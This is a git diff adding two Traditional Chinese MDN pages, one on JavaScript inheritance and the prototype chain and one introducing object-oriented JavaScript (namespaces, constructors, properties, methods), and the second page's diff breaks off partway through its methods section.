diff --git a/files/zh-tw/web/javascript/inheritance_and_the_prototype_chain/index.html b/files/zh-tw/web/javascript/inheritance_and_the_prototype_chain/index.html
new file mode 100644
index 0000000000..12ae7cee8d
--- /dev/null
+++ b/files/zh-tw/web/javascript/inheritance_and_the_prototype_chain/index.html
@@ -0,0 +1,310 @@
+---
+title: 繼承與原型鏈
+slug: Web/JavaScript/Inheritance_and_the_prototype_chain
+translation_of: Web/JavaScript/Inheritance_and_the_prototype_chain
+---
+<p>{{jsSidebar("Advanced")}}</p>
+
+<p>JavaScript 是個沒有實做 <code>class</code> 關鍵字的動態語言，所以會對那些基於類別（class-based）語言（如 Java 或 C++）背景出身的開發者來說會有點困惑。（在 ES2015 有提供 <code>class</code> 關鍵字，但那只是個語法糖，JavaScript 仍然是基於原型（prototype-based）的語言）。</p>
+
+<p>講到繼承，JavaScript 就只有一個建構子：物件。每個物件都有一個連著其他<strong>原型</strong>（prototype）的私有屬性（private property）物件。原型物件也有著自己的原型，於是原型物件就這樣鏈結，直到撞見 <code>null</code> 為止：<code>null</code> 在定義裡沒有原型、也是<strong>原型鏈</strong>（prototype chain）的最後一個鏈結。</p>
+
+<p>幾乎所有 JavaScript 的物件，都是在原型鏈最頂端的 {{jsxref("Object")}} 實例。</p>
+
+<p>雖然這常被認為是 JavaScript 的一個缺陷，但原型繼承模型實際上，比傳統的 classic 模型更強大。舉例來說，使用原型繼承模型建構一個 classic 模型是相當容易的。</p>
+
+<h2 id="使用原型鍊繼承">使用原型鍊繼承</h2>
+
+<h3 id="繼承屬性">繼承屬性</h3>
+
+<p>JavaScript 物件是一「包」動態的屬性（也就是<strong>它自己</strong>的屬性）並擁有一個原型物件的鏈結，當物件試圖存取一個物件的屬性時，其不僅會尋找該物件，也會尋找該物件的原型、原型的原型……直到找到相符合的屬性，或是到達原型鏈的尾端。</p>
+
+<div class="note">
+<p>遵照 ECMAScript 標準的 <code>someObject.[[Prototype]]</code> 標記，用於指派 <code>someObject</code> 的原型。從 ECMAScript 2015 開始， <code>[[Prototype]]</code> 使用 {{jsxref("Object.getPrototypeOf()")}} 與 {{jsxref("Object.setPrototypeOf()")}} 這兩個訪問器（accessors）訪問，等同於非標準，但各大瀏覽器已實做的 <code>__proto__</code> 屬性。</p>
+
+<p>不要把 <code>someObject.[[Prototype]]</code> 與函式屬性 <code><em>func</em>.prototype</code> 混淆了。它在函式被用作建構子的時候，指定 <code>[[Prototype]]</code> 要分派到所有由給定函式建立的物件實例（instance）。<code><strong>Object.prototype</strong></code> 屬性代表了原型屬性 {{jsxref("Object")}}。</p>
+</div>
+
+<p>以下是嘗試存取屬性時會發生的事：</p>
+
+<pre class="brush: js notranslate">// 利用含有 a 與 b 屬性的 f 函式，建立一個 o 物件：
+let f = function () {
+   this.a = 1;
+   this.b = 2;
+}
+let o = new f(); // {a: 1, b: 2}
+
+// 接著針對 f 函式的原型添加屬性
+f.prototype.b = 3;
+f.prototype.c = 4;
+
+// 不要寫 f.prototype = {b:3,c:4}; 因為它會破壞原型鏈
+// o.[[Prototype]] 有 b 與 c 的屬性：{b: 3, c: 4}
+// o.[[Prototype]].[[Prototype]] 是 Object.prototype.
+// 最後 o.[[Prototype]].[[Prototype]].[[Prototype]] 成了 null
+// 這是原型鏈的結末，因為 null 按照定義並沒有 [[Prototype]]。
+// 因此，整個原型鏈看起來就像：
+// {a: 1, b: 2} ---&gt; {b: 3, c: 4} ---&gt; Object.prototype ---&gt; null
+
+console.log(o.a); // 1
+// o 有屬性「a」嗎？有，該數值為 1。
+
+console.log(o.b); // 2
+// o 有屬性「b」嗎？有，該數值為 2。
+// o 還有個原型屬性「b」，但這裡沒有被訪問到。
+// 這稱作「property shadowing」。
+
+console.log(o.c); // 4
+// o 有屬性「c」嗎？沒有，那就找 o 的原型看看。
+// o 在「o.[[Prototype]]」有屬性「c」嗎？有，該數值為 4。
+
+console.log(o.d); // undefined
+// o 有屬性「d」嗎？沒有，那就找 o 的原型看看。
+// o 在「o.[[Prototype]]」有屬性「d」嗎？沒有，那就找 o.[[Prototype]] 的原型看看。
+// o.[[Prototype]].[[Prototype]] 是 Object.prototype，預設並沒有屬性「d」，那再找他的原型看看。
+// o 在「o.[[Prototype]].[[Prototype]].[[Prototype]]」是 null，停止搜尋。
+// 找不到任何屬性，回傳 undefined。
+</pre>
+
+<p>給物件設定屬性，會令其建立自有的屬性。這個行為規則的唯一例外，就是碰上以 <a href="/zh-TW/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_getters_and_setters">getter 或 setter</a> 繼承的屬性時。</p>
+
+<h3 id="繼承方法">繼承方法</h3>
+
+<p>Javascript 並沒有其他基於類別語言那般定義的方法。在 Javascript 裡，任何函式都能以屬性的方式加到物件中。一個被繼承的函式的行為就像是其他屬性一樣，其中也包含了上述的 property shadowing（在這種情況下叫做 method overriding）。</p>
+
+<p>當繼承函式執行時，<a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/this"><code>this</code></a> 值指向繼承的物件，而不是在函式內擁有屬性的原型物件。</p>
+
+<pre class="brush: js notranslate">var o = {
+  a: 2,
+  m: function() {
+    return this.a + 1;
+  }
+};
+
+console.log(o.m()); // 3
+// 在這裡呼叫 o.m 時「this」指的是 o
+
+var p = Object.create(o);
+// p 是個從 o 繼承的物件
+
+p.a = 4; // 在 p 建立屬性「a」
+console.log(p.m()); // 5
+// 呼叫 p.m 時「this」指的是 p
+// 因此在 p 繼承 o 的函式 m 時，
+// 「this.a」指的是 p.a：也就是 p 的自有屬性「a」
+</pre>
+
+<h2 id="產生物件和原型鏈的幾種方法">產生物件和原型鏈的幾種方法</h2>
+
+<h3 id="含有語法結構的物件">含有語法結構的物件</h3>
+
+<pre class="brush: js notranslate">var o = {a: 1};
+
+// 新建的 o 有個自己的 [[Prototype]] 稱為 Object.prototype
+// o 自己並沒有稱為「hasOwnProperty」的屬性
+// 而 hasOwnProperty 是 Object.prototype 的自有屬性。
+// 因此 o 從 Object.prototype 繼承了 hasOwnProperty
+// Object.prototype 作為其原型多了個 null
+// o ---&gt; Object.prototype ---&gt; null
+
+var a = ['yo', 'whadup', '?'];
+
+// 從 Array.prototype 繼承的陣列，含有諸如 indexOf、forEach……之類的方法
+// 原型鏈看起來就像：
+// a ---&gt; Array.prototype ---&gt; Object.prototype ---&gt; null
+
+function f() {
+  return 2;
+}
+
+// 從 Function.prototype 繼承的函式，含有諸如 call、bind……之類的方法
+// f ---&gt; Function.prototype ---&gt; Object.prototype ---&gt; null
+</pre>
+
+<h3 id="透過建構子">透過建構子</h3>
+
+<p>JavaScript 建構子，就、只、是、個、被 <a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/new">new 運算子</a>呼叫的函式。</p>
+
+<pre class="brush: js notranslate">function Graph() {
+  this.vertices = [];
+  this.edges = [];
+}
+
+Graph.prototype = {
+  addVertex: function(v) {
+    this.vertices.push(v);
+  }
+};
+
+var g = new Graph();
+// g 是個有著「vertices」與「edges」屬性的物件。
+// 在執行 new Graph() 時 g.[[Prototype]] 是 Graph.prototype 的值。
+</pre>
+
+<h3 id="用_Object.create">用 <code>Object.create</code></h3>
+
+<p>ECMAScript 5 引入了新方法：{{jsxref("Object.create()")}}。呼叫這個方法就可以建立新的物件。這個物件的原型，為函式的第一個參數。</p>
+
+<pre class="brush: js notranslate">var a = {a: 1};
+// a ---&gt; Object.prototype ---&gt; null
+
+var b = Object.create(a);
+// b ---&gt; a ---&gt; Object.prototype ---&gt; null
+console.log(b.a); // 1 (inherited)
+
+var c = Object.create(b);
+// c ---&gt; b ---&gt; a ---&gt; Object.prototype ---&gt; null
+
+var d = Object.create(null);
+// d ---&gt; null
+console.log(d.hasOwnProperty);
+// undefined, because d doesn't inherit from Object.prototype
+</pre>
+
+<h3 id="使用關鍵字_class">使用關鍵字 <code>class</code></h3>
+
+<p>ECMAScript 2015 引入了新的<a href="/zh-TW/docs/Web/JavaScript/Reference/Classes">類別</a>實做。儘管對那些基於類別的開發者來說，這種結構體令他們感到熟悉，它們依舊不一樣。JavaScript 依舊是基於原型的。新的關鍵字包括 {{jsxref("Statements/class", "class")}}、{{jsxref("Classes/constructor", "constructor")}}、{{jsxref("Classes/static", "static")}}、{{jsxref("Classes/extends", "extends")}}、{{jsxref("Operators/super", "super")}}。</p>
+
+<pre class="brush: js notranslate">'use strict';
+
+class Polygon {
+  constructor(height, width) {
+    this.height = height;
+    this.width = width;
+  }
+}
+
+class Square extends Polygon {
+  constructor(sideLength) {
+    super(sideLength, sideLength);
+  }
+  get area() {
+    return this.height * this.width;
+  }
+  set sideLength(newLength) {
+    this.height = newLength;
+    this.width = newLength;
+  }
+}
+
+var square = new Square(2);
+</pre>
+
+<h3 id="效能">效能</h3>
+
+<p>原型鏈上的屬性的查詢時間，可能會對效能有負面影響，對程式碼也因而產生明顯問題。另外，試圖尋找不存在的屬性，就一定會遍歷整個原型鏈。</p>
+
+<p>接著，在迭代物件屬性時，<strong>每個</strong>原型鏈的枚舉屬性都會抓出來。</p>
+
+<p>要檢查物件<em>本身</em>有沒有指定的屬性、也不需要查找整個原型鏈時，你必須使用由 <code>Object.prototype</code> 繼承的 <a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty"><code>hasOwnProperty</code></a> 方法。</p>
+
+<pre class="brush: js notranslate">console.log(g.hasOwnProperty('vertices'));
+// true
+
+console.log(g.hasOwnProperty('nope'));
+// false
+
+console.log(g.hasOwnProperty('addVertex'));
+// false
+
+console.log(g.__proto__.hasOwnProperty('addVertex'));
+// true
+</pre>
+
+<p>在 JavaScript 裡面 <a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty"><code>hasOwnProperty</code></a> 是唯一能處理、且<strong>不</strong>遍歷整個原型鏈的方法。</p>
+
+<p>註：如果只有檢查屬性是否為 <a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/undefined"><code>undefined</code></a> <strong>是不夠的</strong>。該屬性可能存在，只是數值被設定為 <code>undefined</code>。</p>
+
+<h3 id="壞實做：擴充原生的原型">壞實做：擴充原生的原型</h3>
+
+<p>一個常見的誤用，是擴充 <code>Object.prototype</code> 或其他內建的原型。</p>
+
+<p>這種技巧稱為猴子補丁（monkey patching），它會破壞<em>封裝</em>（encapsulation）。儘管有些受歡迎的框架如 Prototype.js 會這麼做，但它們並不是以額外的<em>非標準</em>功能，打亂內建類型的好理由。</p>
+
+<p>擴充內建原型的<strong>唯一</strong>合理理由，就是反向移植新版 JavaScript 引擎的功能，例如 <code>Array.forEach</code>。</p>
+
+<h2 id="示例">示例</h2>
+
+<p><code>B</code> 要繼承自 <code>A</code>：</p>
+
+<pre class="brush: js notranslate">function A(a) {
+  this.varA = a;
+}
+
+// 在 A.prototype.varA 會<em>永遠</em>被 this.varA 鬼隱（shadowed）的情況下，
+// 把 varA 包在給定函式的原型內，其意義為何？
+A.prototype = {
+  varA: null,  // 難道不能因為原型啥都沒作，就把 varA 打斷嗎？
+      // 也許他打算要分配隱藏類別的空間，以便實行最佳化？
+      // https://developers.google.com/speed/articles/optimizing-javascript#Initializing instance variables
+      // 如果 varA 沒有針對每個實例作單一初始化，那麼不就要變有效的？
+  doSomething: function() {
+    // ...
+  }
+};
+
+function B(a, b) {
+  A.call(this, a);
+  this.varB = b;
+}
+B.prototype = Object.create(A.prototype, {
+  varB: {
+    value: null,
+    enumerable: true,
+    configurable: true,
+    writable: true
+  },
+  doSomething: {
+    value: function() { // override
+      A.prototype.doSomething.apply(this, arguments); // call super
+      // ...
+    },
+    enumerable: true,
+    configurable: true,
+    writable: true
+  }
+});
+B.prototype.constructor = B;
+
+var b = new B();
+b.doSomething();
+</pre>
+
+<p>重點是：</p>
+
+<ul>
+ <li>型別被定義在 <code>.prototype</code>。</li>
+ <li>你用了 <code>Object.create()</code> 繼承。</li>
+</ul>
+
+<h2 id="prototype_與_Object.getPrototypeOf"><code>prototype</code> 與 <code>Object.getPrototypeOf</code></h2>
+
+<p>JavaScript 對那些從 Java 或 C++ 學過來的人來說，可能會有點困惑，因為它動態、永遠是執行狀態（all runtime）、還完全沒有 class。一切都只是實例（物件）。即使是「class」關鍵字，也只是函式物件。</p>
+
+<p>你可能早就發現我們的 <code>function A</code> 有個名為 <code>prototype</code> 的特殊屬性。這個特殊屬性會透過 <code>new</code> 運算子運行之。原型物件的參照，會把新實例的 <code>[[Prototype]]</code> 屬性複製到該物件內部。比方說在你 <code>var a1 = new A()</code> 時，JavaScript 在記憶體裡面建立物件後、還有運行已經定義好 <code>this</code> 的函式 <code>A()</code> 前，會設定 <code>a1.[[Prototype]] = A.prototype</code>。在接著訪問實例的屬性前，JavaScript 首先會直接檢查物件的實例屬性是否存在。如果沒有，就檢查 <code>[[Prototype]]</code>。也就是說，在 <code>prototype</code> 定義的東西，能夠有效地共享給各實，甚至，如果想的話，還可以改變並顯現於現有實例中。</p>
+
+<p>如上例所示，首先 <code>var a1 = new A(); var a2 = new A();</code> 接著 <code>a1.doSomething</code> 的話，會參照到 <code>Object.getPrototypeOf(a1).doSomething</code>，他會與早就定義好的 <code>A.prototype.doSomething</code> 相同，例如： <code>Object.getPrototypeOf(a1).doSomething == Object.getPrototypeOf(a2).doSomething == A.prototype.doSomething</code>.</p>
+
+<p>簡而言之，<code>prototype</code> 針對型別，而 <code>Object.getPrototypeOf()</code> 則和實例相同。</p>
+
+<p><code>[[Prototype]]</code> <em>遞歸性地</em>鏈結著，例如說 <code>a1.doSomething</code>, <code>Object.getPrototypeOf(a1).doSomething</code>, <code>Object.getPrototypeOf(Object.getPrototypeOf(a1)).doSomething</code> 這樣，直到找出 <code>Object.getPrototypeOf</code> 或回傳 null。</p>
+
+<p>因此當你：</p>
+
+<pre class="brush: js notranslate">var o = new Foo();</pre>
+
+<p>JavaScript 其實會：</p>
+
+<pre class="brush: js notranslate">var o = new Object();
+o.[[Prototype]] = Foo.prototype;
+Foo.call(o);</pre>
+
+<p>或偶爾這樣：</p>
+
+<pre class="brush: js notranslate">o.someProp;</pre>
+
+<p>時，它檢查了 <code>o</code> 有沒有 <code>someProp</code> 屬性。如果沒有，就檢查 <code>Object.getPrototypeOf(o).someProp</code>；再沒有就檢查 <code>Object.getPrototypeOf(Object.getPrototypeOf(o)).someProp</code>，依此類推。</p>
+
+<h2 id="結論">結論</h2>
+
+<p>在撰寫複雜的可用程式碼之前，理解原型繼承模型<strong>很重要</strong>。另外，請注意程式碼內原型鏈的長度、必要時打破它們，以避免潛在的效能問題。再來，除非要處理 JavaScript 新語法的相容性，否則<strong>絕對不能</strong>擴充原生的原型。</p>
diff --git a/files/zh-tw/web/javascript/introduction_to_object-oriented_javascript/index.html b/files/zh-tw/web/javascript/introduction_to_object-oriented_javascript/index.html
new file mode 100644
index 0000000000..3a528e4f47
--- /dev/null
+++ b/files/zh-tw/web/javascript/introduction_to_object-oriented_javascript/index.html
@@ -0,0 +1,393 @@
+---
+title: JavaScript 物件導向介紹
+slug: Web/JavaScript/Introduction_to_Object-Oriented_JavaScript
+tags:
+  - 中階
+  - 命名空間
+  - 封裝
+  - 建構子
+  - 成員
+  - 物件
+  - 物件導向
+  - 物件導向程式設計
+translation_of: Learn/JavaScript/Objects
+---
+<div>{{jsSidebar("Introductory")}}</div>
+
+<p>深入淺出物件導向，JavaScript 支援強大、彈性的物件導向程式設計 ({{Glossary("OOP")}})。本篇文章會先介紹物件導向程式設計，然後複習 JavaScript 物件模型，最後示範在 JavaScript 物件導向程式設計的概念。本篇文章並不會介紹 <a href="https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Reference/Classes">在 ECMAScript 6 的物件導向程式設計</a> 的新語法。</p>
+
+<h2 id="複習_JavaScript">複習 JavaScript</h2>
+
+<p>若您對 JavaScript 變數、型態、函數及作用範圍的觀念並不是很有信心，您可以閱讀 <a href="/zh-TW/docs/Web/JavaScript/A_re-introduction_to_JavaScript">重新膫解 JavaScript</a> 中相關的主題。您也可以參考 <a href="/zh-TW/docs/Web/JavaScript/Guide">JavaScript 指南</a>。</p>
+
+<h2 id="物件導向程式設計">物件導向程式設計</h2>
+
+<p>物件導向程式設計 (Object-oriented programming, OOP) 是一種使用 {{glossary("abstraction")}} 概念表達現實世界的程式設計方式。物件導向程式設計運用數個先前所建立的技術所組成，包含模組化 ({{glossary("modularity")}})、多型 ({{glossary("polymorphism")}}) 以及封裝 ({{glossary("encapsulation")}}) 。直到今天許多主流的程式語言 (如 Java, JavaScript, C#, C++, Python, PHP, Ruby 與 Objective-C) 也都支援物件導向程式設計。</p>
+
+<p>物件導向程式設計是將軟體想像成由一群物件交互合作所組成，而非以往以函數 (Function) 或簡單的指令集交互合作所組成。在物件導向的架構中，每個物件都具有接收訊息，處理資料以及發送訊息給其他物件的能力。每個物件都可視為獨一無二的個體，他們扮演不同的角色並有不同的能力及責任。</p>
+
+<p>物作導向程式設計提出了一個一個更有彈性且易於維護的設計方法，且廣泛被許多大型軟體工程所採用。由於物件導向程式設計強調模組化，因為物件導向的程式碼變的較為容易開發且易於理解。與較少模組化的程式設計技術相比，物件導向的程式碼更能更直接分析、編寫、理解複雜的情況與程序。<a href="#cite-1"><sup>1</sup></a></p>
+
+<p>JavaScript 是一個以雛型為基礎 (Prototype-based) 的程式設計語言 (或更準確的說是以雛型為基礎的腳本語言)，它採用了複製的模式而非繼承。以雛型為基礎的程式設計語言是一種物件導向程式設計，使用了函數來當做類別 (Class) 的建構子 (Constructor)，儘管 JavaScript 擁有類別 (Class) 的關鍵字，但它沒有類別敘述，當要拿 JavaScript 與其他物件導向程式語言相比時，這是很重要的區別。</p>
+
+<h2 id="專門用語">專門用語</h2>
+
+<dl>
+ <dt>{{Glossary("Namespace")}}</dt>
+ <dd>可讓開發人員包裝所有功能到一個獨一無二、特定應用程式名稱的容器。</dd>
+ <dt>{{Glossary("Class")}}</dt>
+ <dd>用來定義物件的特徵，類別 (Class) 是物件屬性與方法的藍圖。</dd>
+ <dt>{{Glossary("Object")}}</dt>
+ <dd>類別 (Class) 的實際案例。</dd>
+ <dt>{{Glossary("Property")}}</dt>
+ <dd>物件 (Object) 的特徵，例如：顏色。</dd>
+ <dt>{{Glossary("Method")}}</dt>
+ <dd>物件 (Object) 的功能，例如：行走。它是與類別相關的子程序或函數。</dd>
+ <dt>{{Glossary("Constructor")}}</dt>
+ <dd>一個在物件產生時會被呼叫的方法。通常會使用與其所在類別 (Class) 相同的名稱。</dd>
+ <dt>{{Glossary("Inheritance")}}</dt>
+ <dd>一個類別 (Class) 可以繼承另一個類別的特徵與功能。</dd>
+ <dt>{{Glossary("Encapsulation")}}</dt>
+ <dd>可以將資料與方法包裝在一起使用的技術。</dd>
+ <dt>{{Glossary("Abstraction")}}</dt>
+ <dd>結合物件的複雜繼承關係、方法與屬性來充分反映現實的模型。</dd>
+ <dt>{{Glossary("Polymorphism")}}</dt>
+ <dd>Poly 指的是 "多" 而 Morphism 指的是 "<em>型</em>"。是指不同的類別可以定義相同的方法或屬性。</dd>
+</dl>
+
+<p>要了解物件導向程式設計更廣泛的說明，請參考維基百科的  {{interwiki("wikipedia", "Object-oriented programming")}}。</p>
+
+<h2 id="以雛型為基礎_Prototype-based_的程式設計">以雛型為基礎 (Prototype-based) 的程式設計</h2>
+
+<p>以雛型為基礎的程式設計是一種不使用類別的物件導向程式設計模式，但它是第一個透過修改 (或者擴充) 既有的 <em>prototype</em> 來達到類別的功能並可重複使用 (等同在以類別為基礎的程式語言中的繼承)。 又稱作無類別 (Classless)、雛型導向 (Prototype-oriented) 或以實例為基的程式語言 (Instance-based programming)。</p>
+
+<p>最早 (最典型) 以雛型為基礎的程式語言的典範是由 David Ungar 與 Randall Smith 所開發的 {{interwiki("wikipedia", "Self (programming language)", "Self")}}。近年來無類別 (Class-less) 的程式設計風格越來越流行，並且被 JavaScript, Cecil, NewtonScript, Io, MOO, REBOL, Kevo, Squeak (在使用 Viewer 框架來處理 Morphic 元件時)，還有許多其他程式語言所採用。<a href="#cite-2"><sup>2</sup></a></p>
+
+<h2 id="JavaScript_物件導向程式設計">JavaScript 物件導向程式設計</h2>
+
+<h3 id="命名空間">命名空間</h3>
+
+<p>命名空間是一個可讓開發人員包裝所有功能到一個獨一無二、特定應用程式名稱的容器。在<strong> JavaScript 中命名空間其實是另一個包含方法、屬性及物件的物件。</strong></p>
+
+<div class="note">
+<p>注意，在 JavaScript 中一般物件與命名空間並無語法上的差異，這於其他許多物件導向的語言並不相同，可能是初學 JavaScript 的程式設計師容易混淆的地方。</p>
+</div>
+
+<p>在 JavaScript 建立一個命名空間背後的概念非常的簡單：建立一個全域的物件，然後將所有的變數、方法及函數設為該物件的屬性。使用命名空間可以減少應用程式中名稱衝突發生的機率，由於每個應用程式的物件皆會是應用程式定義的全域物件的屬性。</p>
+
+<p>讓我們來建立一個叫做 MYAPP 全域物件：</p>
+
+<pre class="brush: js notranslate">// 全域命名空間
+var MYAPP = MYAPP || {};</pre>
+
+<p>在上述程式範例，我們會先檢查 <code>MYAPP</code> 是否已經定義過 (不論是定義在同一檔案或在其他檔案)。若已定義過，便會使用現有的 MYAPP 全域物件，否則會建一個稱作 <code>MYAPP</code> 的空物件來包裝方法、函數、變數及物件。</p>
+
+<p>我們也可以建立子命名空間 (要注意，全域物件必須已事先定義)：</p>
+
+<pre class="brush: js notranslate">// 子命名空間
+MYAPP.event = {};</pre>
+
+<p>以下的程式碼會建立一個命名空間並加入變數、函數以及一個方法：</p>
+
+<pre class="brush: js notranslate">// 建立一個稱作 MYAPP.commonMethod 的容器來存放常用方法與屬性
+MYAPP.commonMethod = {
+  regExForName: "", // define regex for name validation
+  regExForPhone: "", // define regex for phone no validation
+  validateName: function(name){
+    // Do something with name, you can access regExForName variable
+    // using "this.regExForName"
+  },
+
+  validatePhoneNo: function(phoneNo){
+    // do something with phone number
+  }
+}
+
+// 物件與方法宣告
+MYAPP.event = {
+    addListener: function(el, type, fn) {
+    // code stuff
+    },
+    removeListener: function(el, type, fn) {
+    // code stuff
+    },
+    getEvent: function(e) {
+    // code stuff
+    }
+
+    // 可以加入其他方法與屬性
+}
+
+// 使用 addListener 方法的語法：
+MYAPP.event.addListener("yourel", "type", callback);</pre>
+
+<h3 id="標準內建物件">標準內建物件</h3>
+
+<p> JavaScript 的核心內建了許多物件，例如有 {{jsxref("Math")}}, {{jsxref("Object")}}, {{jsxref("Array")}} 以及 {{jsxref("String")}}。以下範例將示範如何使用 Math 物件中的 <code>random()</code> <code>方法</code>來取得一個隨機的數字。</p>
+
+<pre class="brush: js notranslate">console.log(Math.random());
+</pre>
+
+<div class="note"><strong>注意：</strong>這個例子及之後的例子會假設全域已經有定義名稱為 {{domxref("console.log()")}} 的函數。<code>console.log()</code> 函數並不算是 JavaScript 的一部份，但是有許多瀏覽器會實作這個功能來協助除錯使用。</div>
+
+<p>請參考 <a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects" title="zh-TW/docs/Web/JavaScript/Reference/Global_Objects">JavaScript 參考: 標準內建物件</a> 來取得在 JavaScript 中所有核心物件的清單。</p>
+
+<p>每個在 JavaScript 中的物件均為物件 <code><a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Object">Object</a></code> <code>的</code>實例 (Instance)，因此會繼承其所有的屬性與方法。</p>
+
+<h3 id="自訂物件">自訂物件</h3>
+
+<h4 id="類別_Class">類別 (Class)</h4>
+
+<p>JavaScript 是以雛形為基礎的程式語言，並沒有像在 C++ 或 Java 中看以到的 <code>class</code> 敘述句，這有時會讓習慣使用有 <code>class</code> 敘述句的程式設計師混淆。JavaScript 使用函數來作為類別 (Class) 的建構子 (Constructor)，要定義一個類別 (Class) 如同定義一個函數 (Function)一樣簡單，以下例子中我們使用空的建構子來定義了一個新的 Person 類別。</p>
+
+<pre class="brush: js notranslate">var Person = function () {};
+</pre>
+
+<h4 id="物件_Object_-_類別的實例_Instance">物件 (Object) - 類別的實例 (Instance)</h4>
+
+<p>要建立物件 <code>obj</code> 的新實例，我們可以使用 <code>new obj</code> 敘述句，並將結果 (型態為 <code>obj</code>) 指派 (Assign) 到一個變數方便之後存取。</p>
+
+<p>在先前範例中我們定義了一個名稱為 <code>Person</code> 的類別 (Class)。在以下的例子我們會建立兩個實例 (<code>person1</code> 與 <code>person2</code>)。</p>
+
+<pre class="brush: js notranslate">var person1 = new Person();
+var person2 = new Person();
+</pre>
+
+<div class="note">
+<p>請參考 {{jsxref("Object.create()")}} 來了解建立未初始化實例的實例化新方法。</p>
+</div>
+
+<h4 id="建構子_Constructor">建構子 (Constructor)</h4>
+
+<p>建構子會在實例化 (Instantiation) 時被呼叫 (建立物件實例被建立時)。建構子是類別的一個方法，在 JavaScript 中會以函數來當做物件的建構子，因此無須明確的定義建構子方法，而每個在類別中宣告的動作均會在實例化時被執行。</p>
+
+<p>建構子會用來設定物件的屬性 (Property) 或是呼叫要準備讓物件可以使用的方法 (Method)。增加類別的方法及定義會使用另一種語法，在本文稍後會說明。</p>
+
+<p>在以下例之中，類別 <code>Person</code> 的建構子在 <code>Person </code>實例化時會記錄下一個訊息。</p>
+
+<pre class="brush: js notranslate">var Person = function () {
+  console.log('instance created');
+};
+
+var person1 = new Person(); // 會記錄 "instance created"
+var person2 = new Person(); // 會記錄 "instance created"
+</pre>
+
+<h4 id="屬性_Property_-_物件的屬性">屬性 (Property) - 物件的屬性</h4>
+
+<p>屬性即為在類別中的變數，每個物件的實例都會有同樣的屬性。屬性會在類別的建構子 (函數) 中設定，所以屬性在每個實例產生時才會產生。</p>
+
+<p>關鍵字 <code>this </code>可以引用目前的物件，讓您使用在該類別中的其他屬性。存取 (讀寫或寫入) 一個在類別之外的屬性可以用語法：<code>InstanceName.Property</code>，如同在 C++, Java 以及其他語言。 (在類別內會使用語法 <code>this.Property</code> 來取得或設定屬性的數值。)</p>
+
+<p>在以下例子中，我們會在實例化時定義 <code>Person</code> 類別的 <code>firstName</code> 屬性：</p>
+
+<pre class="brush: js notranslate">var Person = function (firstName) {
+  this.firstName = firstName;
+  console.log('Person instantiated');
+};
+
+var person1 = new Person('Alice'); // 會記錄 "Person instantiated"
+var person2 = new Person('Bob'); // 會記錄 "Person instantiated"
+
+// 顯示物件的 firstName 屬性
+console.log('person1 is ' + person1.firstName); // 會記錄 "person1 is Alice"
+console.log('person2 is ' + person2.firstName); // 會記錄 "person2 is Bob"
+</pre>
+
+<h4 id="方法_Method">方法 (Method)</h4>
+
+<p>方法即為函數 (也如同函數般定義)，但是依照屬性的邏輯來運作，呼叫一個方法如同存取一個屬性，但您需要在函數名稱後加上 <code>()</code> ，並有可能會有參數。要定義一個方法，只需將函數指定 (Assign) 給類別的 <code>prototype</code> 屬性中一個已命名的屬性，接著，您便可用剛指定的屬性名稱來呼叫該物件的方法。</p>
+
+<p>以下範例中，我們為 <code>Person</code>  類別定義了方法 <code>sayHello()</code> 並使用。</p>
+
+<pre class="brush: js notranslate">var Person = function (firstName) {
+  this.firstName = firstName;
+};
+
+Person.prototype.sayHello = function() {
+  console.log("Hello, I'm " + this.firstName);
+};
+
+var person1 = new Person("Alice");
+var person2 = new Person("Bob");
+
+// 呼叫 Person sayHello 方法。
+person1.sayHello(); // 會記錄 "Hello, I'm Alice"
+person2.sayHello(); // 會記錄 "Hello, I'm Bob"
+</pre>
+
+<p>在 JavaScript 中，方法其實是一般的函數物件 (Function object) 連結到一個物件的屬性，這意謂著您可以在  "物件之外" 呼叫方法。請看以下範例程式碼：</p>
+
+<pre class="brush: js notranslate">var Person = function (firstName) {
+  this.firstName = firstName;
+};
+
+Person.prototype.sayHello = function() {
+  console.log("Hello, I'm " + this.firstName);
+};
+
+var person1 = new Person("Alice");
+var person2 = new Person("Bob");
+var helloFunction = person1.sayHello;
+
+// 會記錄 "Hello, I'm Alice"
+person1.sayHello();
+
+// 會記錄 "Hello, I'm Bob"
+person2.sayHello();
+
+// 會記錄 "Hello, I'm undefined" (或在 Strict
+// 模式會出現 TypeError)
+helloFunction();
+
+// 會記錄 true
+console.log(helloFunction === person1.sayHello);
+
+// 會記錄 true
+console.log(helloFunction === Person.prototype.sayHello);
+
+// 會記錄 "Hello, I'm Alice"
+helloFunction.call(person1);</pre>
+
+<p>如範例中所示，我們讓所有的參考均指向 <code>sayHello</code> 函數 — 一個在 <code>person1、一個在 Person.prototype、另一個在 helloFunction</code> 變數 — 這些均參考<em>相同的函數</em>。在呼叫的過程中 <code>this</code> 的值會根據我們如何呼叫來決定，最常見的地方是：我們取得函數的物件屬性所在，在表示法中呼叫 <code>this</code> — <code>person1.sayHello()</code>— 會設定 <code>this</code> 為我們取得函數的地方 (<code>person1</code>)，這也是 <code>person1.sayHello() 顯示的名稱為 </code>"Alice" 以及 <code>person2.sayHello() 顯示的</code>名稱為 "Bob" 的原因。但如果我們以其他的方式來呼叫，那麼 <code>this</code> 結果將截然不同：在變數中呼叫 <code>this</code> — <code>helloFunction()</code>— 會設定 <code>this</code> 為所在的全域物件 (在瀏覽器即為 <code>window</code>)。由於物件 (可能) 並沒有 <code>firstName</code> 屬性，因此會得到 "Hello, I'm undefined" 這樣的結果 (在 Loose 模式才有這樣的結果，若在 <a href="/zh-TW/docs/Web/JavaScript/Reference/Strict_mode" title="/en/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode">strict mode</a> 則會不同 [會出現錯誤]，為了避免混淆，此處將不會再詳述)。 或者我們可以像最後一個例子使用 <a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Function/call">call</a> (或 <a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Function/apply">apply</a>) 來明確的設定 <code>this。</code></p>
+
